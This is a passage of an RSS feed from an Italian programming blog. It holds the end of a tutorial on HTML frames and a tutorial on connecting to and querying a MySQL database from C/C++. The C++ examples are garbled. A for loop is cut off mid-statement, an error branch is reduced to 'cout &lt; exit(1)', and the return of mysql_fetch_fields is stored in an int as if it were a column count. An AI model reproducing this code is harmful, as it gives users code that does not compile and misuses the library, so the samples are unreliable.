<li>_self sostituisce il frame in cui si trovava il collegamento</li>
<li>_top visualizza l&#8217;URL nella finestra completa, eliminando i frame.</li>
</ul>
<p>Per finire ecco un esempio pratico di frame:</p>
<div class="codecolorer-container text twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;html&gt;<br />
&lt;head&gt;&lt;title&gt;Prova frame&lt;/title&gt;&lt;/head&gt;<br />
&lt;frameset cols=&quot;30%,70%&quot;&gt;<br />
&nbsp;&lt;frame src=&quot;f1.html&quot;&gt;<br />
&nbsp;&lt;frame name=&quot;frame2&quot; src=&quot;f2.html&quot;&gt;<br />
&lt;/frameset&gt;<br />
&lt;/html&gt;</div></div>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/12/come-utilizzare-i-frame-in-html/">Come utilizzare i frame in html</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/04/12/come-utilizzare-i-frame-in-html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Gestire un database MySQL in C/C++</title>
		<link>http://brutuswolf.altervista.org/blog/2012/04/07/gestire-un-database-mysql-in-cc/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/04/07/gestire-un-database-mysql-in-cc/#comments</comments>
		<pubDate>Sat, 07 Apr 2012 16:20:52 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[class mysql C++]]></category>
		<category><![CDATA[gestire database in C/C++]]></category>
		<category><![CDATA[mysql c++]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2525</guid>
		<description><![CDATA[<p>La flessibilità del c++ unita alla stabilita di un database MySQL può portare alla creazione di applicazioni veramente potenti; per esempio software di gestione dati, chat, e altre centinaia di...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/07/gestire-un-database-mysql-in-cc/">Gestire un database MySQL in C/C++</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><a href="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/04/Logo-mysql.jpg"><img class="aligncenter size-full wp-image-2526" title="logo mysql" src="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/04/Logo-mysql.jpg" alt="" width="399" height="291" /></a></p>
<p>La flessibilità del c++ unita alla stabilita di un database MySQL può portare alla creazione di applicazioni veramente potenti; per esempio software di gestione dati, chat, e altre centinaia di possibilità.<br />
Per interagire in modo semplice con questo tipo di database è possibile ricorrere all&#8217;utilizzo della libreria <strong>Connector, </strong>scaricabile liberamente da questo link : <em><a href="http://www.mysql.it/downloads/connector/">DOWNLOAD</a>. </em>Oltre che essere disponibile per C/C++ esistono anche versioni per linguaggi come java oppure .NET</p>
<p>Le principali operazioni che si possono fare con un database sono:</p>
<ul>
<li>Eseguire una query</li>
<li>Verificare la riuscita</li>
<li>Estrarre il risultato</li>
</ul>
<div><span id="more-2525"></span> </div>
<p>E con questa imparerete proprio questo operazioni. Ma prima  di passare direttamente al codice ci tengo a precisare che in sostanza la libreria si basa su tre semplici strutture:</p>
<ul>
<li><strong>MYSQL </strong>serve a creare/gestire una connessione con un database</li>
<li><strong>MYSQL_RES </strong>memorizza il risultato di una query</li>
<li><strong>MYSQL_ROW </strong>memorizza il contenuto di una riga di una tabella.</li>
</ul>
<p>Per tutte le query utilizzerò come base una tabella la cui struttura è :</p>
<table id="tablestructure">
<thead>
<tr>
<th id="th1"></th>
<th id="th2">#</th>
<th id="th3">Campo</th>
<th id="th4">Tipo</th>
<th id="th5">Collation</th>
<th id="th6">Attributi</th>
<th id="th7">Null</th>
<th id="th8">Predefinito</th>
<th id="th9">Extra</th>
<th id="th10" colspan="3">Azione</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center"><input id="checkbox_row_1" type="checkbox" name="selected_fld[]" value="C1" /></td>
<td align="right">1</td>
<th nowrap="nowrap"><label for="checkbox_row_1">C1</label></th>
<td nowrap="nowrap"><bdo xml:lang="en" dir="ltr">text</bdo></td>
<td><dfn title="Svedese, case-insensitive">latin1_swedish_ci</dfn></td>
<td nowrap="nowrap"></td>
<td>No</td>
<td nowrap="nowrap"><em>Nessuno</em></td>
<td nowrap="nowrap"></td>
<td align="center"><img title="Modifica" src="http://localhost/phpmyadmin/themes/pmahomme/img/b_edit.png" alt="Modifica" width="16" height="16" /> Modifica</td>
<td align="center"><img title="Elimina" src="http://localhost/phpmyadmin/themes/pmahomme/img/b_drop.png" alt="Elimina" width="16" height="16" /> Elimina</td>
<td id="more_opts1">Più <img src="http://localhost/phpmyadmin/themes/pmahomme/img/more.png" alt="Mostra piú azioni" /></td>
</tr>
<tr>
<td align="center"><input id="checkbox_row_2" type="checkbox" name="selected_fld[]" value="C2" /></td>
<td align="right">2</td>
<th nowrap="nowrap"><label for="checkbox_row_2">C2</label></th>
<td nowrap="nowrap"><bdo xml:lang="en" dir="ltr">int(11)</bdo></td>
<td></td>
<td nowrap="nowrap"></td>
<td>No</td>
<td nowrap="nowrap"><em>Nessuno</em></td>
<td nowrap="nowrap"></td>
<td align="center"><img title="Modifica" src="http://localhost/phpmyadmin/themes/pmahomme/img/b_edit.png" alt="Modifica" width="16" height="16" /> Modifica</td>
<td align="center"><img title="Elimina" src="http://localhost/phpmyadmin/themes/pmahomme/img/b_drop.png" alt="Elimina" width="16" height="16" /> Elimina</td>
<td id="more_opts2">Più <img src="http://localhost/phpmyadmin/themes/pmahomme/img/more.png" alt="Mostra piú azioni" /></td>
</tr>
</tbody>
</table>
<p><span style="font-size: small;"><span style="line-height: normal;">Detto questo, la prima operazione da compiere è <strong>connettersi ad un database</strong>:</span></span></p>
<div class="codecolorer-container cpp twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">MYSQL <span style="color: #000040;">*</span>connect<span style="color: #008080;">;</span><br />
connect<span style="color: #000080;">=</span>mysql_init<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">NULL</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">//avvio la connessione e la setto a NULL</span><br />
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>connect<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span> <span style="color: #666666;">//se la connessione non può essere creata</span><br />
<span style="color: #0000dd;">cout</span> <span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span><span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span> <span style="color: #FF0000;">&quot;Impossibile avviare il servizio mysql&quot;</span><span style="color: #008080;">;</span><br />
<span style="color: #0000dd;">exit</span><span style="color: #008000;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">//esco</span><br />
<span style="color: #008000;">&#125;</span><br />
connect<span style="color: #000080;">=</span>mysql_real_connect<span style="color: #008000;">&#40;</span>connect,SERVER,USER,PASSWORD,DATABASE,<span style="color: #0000dd;">0</span>,<span style="color: #0000ff;">NULL</span>,<span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">//mi connetto al database chat</span><br />
<span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span>connect<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span> <span style="color: #666666;">//controllo la connessione al database</span><br />
<span style="color: #0000dd;">cout</span> <span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span> <span style="color: #0000dd;">exit</span><span style="color: #008000;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>Se si vuole leggere tutto il contenuto della tabella proposta in precedenza, ecco il procedimento:</p>
<div class="codecolorer-container cpp twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">MYSQL_RES <span style="color: #000040;">*</span>ret<span style="color: #000080;">=</span><span style="color: #0000ff;">NULL</span><span style="color: #008080;">;</span><br />
string query<span style="color: #000080;">=</span><span style="color: #FF0000;">&quot;SELECT * FROM `prova`&quot;</span> <span style="color: #008080;">;</span><br />
mysql_query<span style="color: #008000;">&#40;</span>connect,<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">char</span><span style="color: #000040;">*</span><span style="color: #008000;">&#41;</span>query.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
ret<span style="color: #000080;">=</span>mysql_store_result<span style="color: #008000;">&#40;</span>connect<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
<span style="color: #0000ff;">int</span> n_colonne<span style="color: #000080;">=</span>mysql_fetch_fields<span style="color: #008000;">&#40;</span>ret<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
MYSQL_ROW riga<span style="color: #008080;">;</span><br />
<span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span>riga<span style="color: #000080;">=</span>mysql_fetch_row<span style="color: #008000;">&#40;</span>ret<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span><br />
<span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> i<span style="color: #000080;">=</span><span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>i <span style="color: #0000dd;">cout</span> <span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span><span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span> riga<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span> <span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span><span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span> <span style="color: #FF0000;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #008080;">;</span><br />
<span style="color: #0000dd;">cout</span> <span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span><span style="color: #000040;">&amp;</span>lt<span style="color: #008080;">;</span> endl<span style="color: #008080;">;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>Se invece volessimo inserire una riga nella tabella al posto di leggere basta cambiare la query in questo modo:</p>
<blockquote><p>INSERT INTO `test`.`prova` (`C1`, `C2`) VALUES (&#8216;testo&#8217;, &#8216;numero&#8217;);</p></blockquote>
<p>Come si può capire da questi semplici esempi non è per nulla difficile l&#8217;interfacciamento con un database di questo tipo. Ma se per caso avete bisogno di approfondimenti ecco il collegamento all&#8217;<strong><a href="http://dev.mysql.com/doc/refman/5.6/en/">help ufficiale</a></strong></p>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/04/07/gestire-un-database-mysql-in-cc/">Gestire un database MySQL in C/C++</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/04/07/gestire-un-database-mysql-in-cc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
